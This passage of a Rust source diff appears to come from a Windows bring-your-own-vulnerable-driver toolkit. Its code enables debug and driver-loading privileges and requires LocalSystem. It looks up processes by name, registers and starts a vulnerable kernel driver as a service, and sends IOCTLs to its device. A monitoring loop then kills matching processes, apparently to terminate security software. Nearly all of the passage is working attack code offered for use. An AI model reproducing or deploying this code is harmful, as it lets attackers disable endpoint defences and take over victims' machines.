// SAFETY: szExeFile is a null-terminated C string
let current = unsafe { CStr::from_ptr(entry.szExeFile.as_ptr()) }
.to_string_lossy()
.to_lowercase();
if current == target {
return Some(entry.th32ProcessID);
}
// SAFETY: snapshot and entry remain valid
if unsafe { Process32Next(snapshot.as_raw(), &mut entry) } == 0 {
break;
}
}
None
}
/// Verify the current process is running as LocalSystem (S-1-5-18).
/// Returns an error if not running as LocalSystem.
pub fn ensure_running_as_local_system() -> Result<()> {
use winapi::um::securitybaseapi::{CheckTokenMembership, CreateWellKnownSid};
let mut sid = [0u8; SECURITY_MAX_SID_SIZE as usize];
let mut sid_size = sid.len() as DWORD;
// SAFETY: sid buffer is large enough for any well-known SID
let created = unsafe {
CreateWellKnownSid(
WinLocalSystemSid,
null_mut(),
sid.as_mut_ptr() as *mut _,
&mut sid_size,
)
};
if created == 0 {
return Err("Failed to build LocalSystem SID".into());
}
let mut is_member: i32 = 0;
// SAFETY: SID was successfully created, is_member is valid out pointer
let checked = unsafe {
CheckTokenMembership(null_mut(), sid.as_mut_ptr() as *mut _, &mut is_member)
};
if checked == 0 {
return Err("Failed to verify token membership".into());
}
if is_member == 0 {
return Err("Not running as LocalSystem (S-1-5-18). Use PsExec or similar.".into());
}
println!("[+] Running as LocalSystem confirmed");
Ok(())
}
+52
View File
@@ -0,0 +1,52 @@
use std::sync::atomic::{AtomicBool, Ordering};
use std::sync::Arc;
use std::thread;
use std::time::Duration;
use crate::process::find_pid_by_name;
use crate::Result;
/// Install a Ctrl+C handler that clears the returned flag on signal.
///
/// Use this when you need a custom monitoring loop. For the standard PID-based
/// loop, use [`run_monitor_loop`].
pub fn setup_ctrlc_handler() -> Result<Arc<AtomicBool>> {
let running = Arc::new(AtomicBool::new(true));
let r = running.clone();
ctrlc::set_handler(move || {
println!("\n[!] Shutting down...");
r.store(false, Ordering::SeqCst);
})?;
Ok(running)
}
/// Repeatedly look up `process_name` and call `on_found(pid)` on every match.
///
/// Loop exits on Ctrl+C. The closure form lets callers do whatever they want
/// per-PID (custom IOCTLs, multi-PID fan-out, structured logging) instead of
/// being locked into the trait-driven `send_ioctl` path.
pub fn run_monitor_loop<F>(process_name: &str, interval: Duration, mut on_found: F) -> Result<()>
where
F: FnMut(u32) -> Result<()>,
{
let running = setup_ctrlc_handler()?;
println!(
"[*] Monitoring for process: {} (Press Ctrl+C to stop)",
process_name
);
while running.load(Ordering::SeqCst) {
if let Some(pid) = find_pid_by_name(process_name) {
match on_found(pid) {
Ok(()) => println!("[+] Killed PID {}", pid),
Err(e) => eprintln!("[!] Failed to kill PID {}: {}", pid, e),
}
}
thread::sleep(interval);
}
Ok(())
}
+117
View File
@@ -0,0 +1,117 @@
use std::ffi::CString;
use std::mem;
use std::ptr::null_mut;
use winapi::shared::minwindef::{DWORD, FALSE};
use winapi::um::errhandlingapi::GetLastError;
use winapi::um::processthreadsapi::{GetCurrentProcess, OpenProcessToken};
use winapi::um::securitybaseapi::{AdjustTokenPrivileges, CheckTokenMembership, CreateWellKnownSid};
use winapi::um::winbase::LookupPrivilegeValueA;
use winapi::um::winnt::{
WinLocalSystemSid, LUID, LUID_AND_ATTRIBUTES, SECURITY_MAX_SID_SIZE, SE_PRIVILEGE_ENABLED,
TOKEN_ADJUST_PRIVILEGES, TOKEN_PRIVILEGES, TOKEN_QUERY,
};
use crate::handle::WinHandle;
use crate::Result;
/// Enable a named privilege for the current process token.
///
/// Common privilege names:
/// - `"SeDebugPrivilege"`
/// - `"SeLoadDriverPrivilege"`
pub fn enable_privilege(privilege_name: &str) -> Result<()> {
unsafe {
let mut token = null_mut();
if OpenProcessToken(
GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,
&mut token,
) == 0
{
return Err(format!(
"Failed to open process token (error {})",
GetLastError()
)
.into());
}
let token_handle = WinHandle::new(token)?;
let mut luid: LUID = mem::zeroed();
let priv_cstr = CString::new(privilege_name)
.map_err(|_| "Privilege name contains null byte")?;
if LookupPrivilegeValueA(null_mut(), priv_cstr.as_ptr(), &mut luid) == 0 {
return Err(format!(
"Failed to look up privilege '{}' (error {})",
privilege_name,
GetLastError()
)
.into());
}
let mut tp = TOKEN_PRIVILEGES {
PrivilegeCount: 1,
Privileges: [LUID_AND_ATTRIBUTES {
Luid: luid,
Attributes: SE_PRIVILEGE_ENABLED,
}],
};
if AdjustTokenPrivileges(
token_handle.as_raw(),
FALSE,
&mut tp,
mem::size_of::<TOKEN_PRIVILEGES>() as u32,
null_mut(),
null_mut(),
) == 0
{
return Err(format!(
"Failed to adjust token privileges (error {})",
GetLastError()
)
.into());
}
println!("[+] Enabled privilege: {}", privilege_name);
Ok(())
}
}
/// Verify the current process is running as LocalSystem (S-1-5-18).
/// Returns an error if not.
pub fn ensure_running_as_local_system() -> Result<()> {
let mut sid = [0u8; SECURITY_MAX_SID_SIZE as usize];
let mut sid_size = sid.len() as DWORD;
let created = unsafe {
CreateWellKnownSid(
WinLocalSystemSid,
null_mut(),
sid.as_mut_ptr() as *mut _,
&mut sid_size,
)
};
if created == 0 {
return Err("Failed to build LocalSystem SID".into());
}
let mut is_member: i32 = 0;
let checked = unsafe {
CheckTokenMembership(null_mut(), sid.as_mut_ptr() as *mut _, &mut is_member)
};
if checked == 0 {
return Err("Failed to verify token membership".into());
}
if is_member == 0 {
return Err("Not running as LocalSystem (S-1-5-18). Use PsExec or similar.".into());
}
println!("[+] Running as LocalSystem confirmed");
Ok(())
}
+80
View File
@@ -0,0 +1,80 @@
use std::ffi::CStr;
use std::mem;
use winapi::um::tlhelp32::{
CreateToolhelp32Snapshot, Process32First, Process32Next, PROCESSENTRY32, TH32CS_SNAPPROCESS,
};
use crate::handle::WinHandle;
/// Find the first process matching `name` (case-insensitive) and return its PID.
pub fn find_pid_by_name(name: &str) -> Option<u32> {
let snapshot =
WinHandle::new(unsafe { CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) }).ok()?;
let mut entry: PROCESSENTRY32 = unsafe { mem::zeroed() };
entry.dwSize = mem::size_of::<PROCESSENTRY32>() as u32;
if unsafe { Process32First(snapshot.as_raw(), &mut entry) } == 0 {
return None;
}
let target = name.to_lowercase();
loop {
let current = unsafe { CStr::from_ptr(entry.szExeFile.as_ptr()) }
.to_string_lossy()
.to_lowercase();
if current == target {
return Some(entry.th32ProcessID);
}
if unsafe { Process32Next(snapshot.as_raw(), &mut entry) } == 0 {
break;
}
}
None
}
/// Find all PIDs of processes matching `name` (case-insensitive), excluding system PIDs (≤ 4).
pub fn find_all_pids_by_name(name: &str) -> Vec<u32> {
let mut pids = Vec::new();
let snapshot = match WinHandle::new(unsafe { CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) })
{
Ok(s) => s,
Err(_) => return pids,
};
let mut entry: PROCESSENTRY32 = unsafe { mem::zeroed() };
entry.dwSize = mem::size_of::<PROCESSENTRY32>() as u32;
if unsafe { Process32First(snapshot.as_raw(), &mut entry) } == 0 {
return pids;
}
let target = name.to_lowercase();
loop {
let current = unsafe { CStr::from_ptr(entry.szExeFile.as_ptr()) }
.to_string_lossy()
.to_lowercase();
if current == target && entry.th32ProcessID > 4 {
pids.push(entry.th32ProcessID);
}
if unsafe { Process32Next(snapshot.as_raw(), &mut entry) } == 0 {
break;
}
}
pids
}
/// Back-compat alias for `find_pid_by_name`.
pub fn get_pid_by_name(name: &str) -> Option<u32> {
find_pid_by_name(name)
}
+148
View File
@@ -0,0 +1,148 @@
use std::ptr::null_mut;
use winapi::um::errhandlingapi::GetLastError;
use winapi::um::winnt::{SERVICE_DEMAND_START, SERVICE_ERROR_NORMAL, SERVICE_KERNEL_DRIVER};
use winapi::um::winsvc::{
ControlService, CreateServiceW, DeleteService, OpenSCManagerW, OpenServiceW, StartServiceW,
SC_MANAGER_CREATE_SERVICE, SERVICE_ALL_ACCESS, SERVICE_CONTROL_STOP, SERVICE_STATUS,
};
use crate::device::DeviceHandle;
use crate::handle::ScHandle;
use crate::util::{get_current_dir, to_wstring};
use crate::Result;
/// Manages the SCM lifecycle of a vulnerable driver.
///
/// Modern usage:
/// ```ignore
/// let driver = ByovdDriver::new("MyDriver", "mydriver.sys", "\\\\.\\MyDevice")?;
/// driver.start()?;
/// let device = driver.open_device()?;
/// device.ioctl_in(0xDEAD, &target_pid)?;
/// driver.stop_and_delete()?;
/// ```
pub struct ByovdDriver {
_sc_manager: ScHandle,
service: ScHandle,
device_path: Option<String>,
}
impl ByovdDriver {
/// Modern constructor: stores `device_path` so `open_device()` works.
/// Driver file is resolved next to the executable (current working directory).
pub fn new(service_name: &str, driver_filename: &str, device_path: &str) -> Result<Self> {
Self::install(service_name, driver_filename, Some(device_path), None)
}
/// General constructor with full control over device path and driver file location.
///
/// - `service_name` — Windows service name to register
/// - `driver_filename` — `.sys` filename, looked up next to the executable
/// unless `driver_path_override` provides an absolute path
/// - `device_path` — `Some("\\\\.\\Device")` enables `open_device()`,
/// `None` keeps the manager device-less (back-compat with the old API)
/// - `driver_path_override` — full path to the `.sys` file, overriding CWD
pub fn install(
service_name: &str,
driver_filename: &str,
device_path: Option<&str>,
driver_path_override: Option<&str>,
) -> Result<Self> {
println!("[*] Opening Service Control Manager");
let sc_manager = ScHandle::new(unsafe {
OpenSCManagerW(null_mut(), null_mut(), SC_MANAGER_CREATE_SERVICE)
})
.map_err(|_| "Failed to open Service Control Manager")?;
let name_w = to_wstring(service_name);
let raw_existing =
unsafe { OpenServiceW(sc_manager.as_raw(), name_w.as_ptr(), SERVICE_ALL_ACCESS) };
let service = if !raw_existing.is_null() {
println!("[!] Service '{}' already exists", service_name);
ScHandle::new(raw_existing)?
} else {
println!("[*] Creating service '{}'", service_name);
let resolved_path = match driver_path_override {
Some(p) => p.to_string(),
None => format!("{}\\{}", get_current_dir()?, driver_filename),
};
println!("[*] Driver path: {}", resolved_path);
ScHandle::new(unsafe {
CreateServiceW(
sc_manager.as_raw(),
name_w.as_ptr(),
name_w.as_ptr(),
SERVICE_ALL_ACCESS,
SERVICE_KERNEL_DRIVER,
SERVICE_DEMAND_START,
SERVICE_ERROR_NORMAL,
to_wstring(&resolved_path).as_ptr(),
null_mut(),
null_mut(),
null_mut(),
null_mut(),
null_mut(),
)
})
.map_err(|_| "Failed to create service")?
};
Ok(Self {
_sc_manager: sc_manager,
service,
device_path: device_path.map(|s| s.to_string()),
})
}
/// Start the driver service. Treats `ERROR_SERVICE_ALREADY_RUNNING` as success.
pub fn start(&self) -> Result<()> {
println!("[*] Starting driver service");
let result = unsafe { StartServiceW(self.service.as_raw(), 0, null_mut()) };
if result == 0 {
let err = unsafe { GetLastError() };
// ERROR_SERVICE_ALREADY_RUNNING = 1056
if err == 1056 {
println!("[!] Driver already running");
return Ok(());
}
return Err(format!("Failed to start service (error {})", err).into());
}
println!("[+] Driver started successfully");
Ok(())
}
/// Stop the driver service and mark it for deletion.
pub fn stop_and_delete(&self) -> Result<()> {
println!("[*] Stopping driver service");
let mut status: SERVICE_STATUS = unsafe { std::mem::zeroed() };
unsafe {
ControlService(self.service.as_raw(), SERVICE_CONTROL_STOP, &mut status);
if DeleteService(self.service.as_raw()) != 0 {
println!("[+] Service marked for deletion");
} else {
println!("[!] Failed to delete service (may require reboot)");
}
}
Ok(())
}
/// Back-compat alias for `stop_and_delete()`.
pub fn stop(&self) -> Result<()> {
self.stop_and_delete()
}
/// Open the driver's device for IOCTL communication.
/// Requires `device_path` provided at construction.
pub fn open_device(&self) -> Result<DeviceHandle> {
let path = self
.device_path
.as_deref()
.ok_or("device_path not set; construct with ByovdDriver::new() to enable open_device()")?;
DeviceHandle::open(path)
}
}
+31
View File
@@ -0,0 +1,31 @@
use std::ffi::{CString, OsStr};
use std::os::windows::ffi::OsStrExt;
use winapi::um::processenv::GetCurrentDirectoryW;
use crate::Result;
const MAX_PATH: usize = 260;
/// Convert a `&str` to a null-terminated wide string suitable for Win32 W-suffix APIs.
pub fn to_wstring(s: &str) -> Vec<u16> {
OsStr::new(s).encode_wide().chain(Some(0)).collect()
}
/// Convert a `&str` to a null-terminated `CString` for Win32 A-suffix APIs.
pub fn to_cstring(s: &str) -> CString {
CString::new(s).expect("string contains interior null byte")
}
/// Return the current working directory as a UTF-8 `String`.
pub fn get_current_dir() -> Result<String> {
let mut buf = vec![0u16; MAX_PATH];
let len = unsafe { GetCurrentDirectoryW(buf.len() as u32, buf.as_mut_ptr()) };
if len == 0 {
return Err("Failed to get current directory".into());
}
buf.truncate(len as usize);
Ok(String::from_utf16_lossy(&buf))
}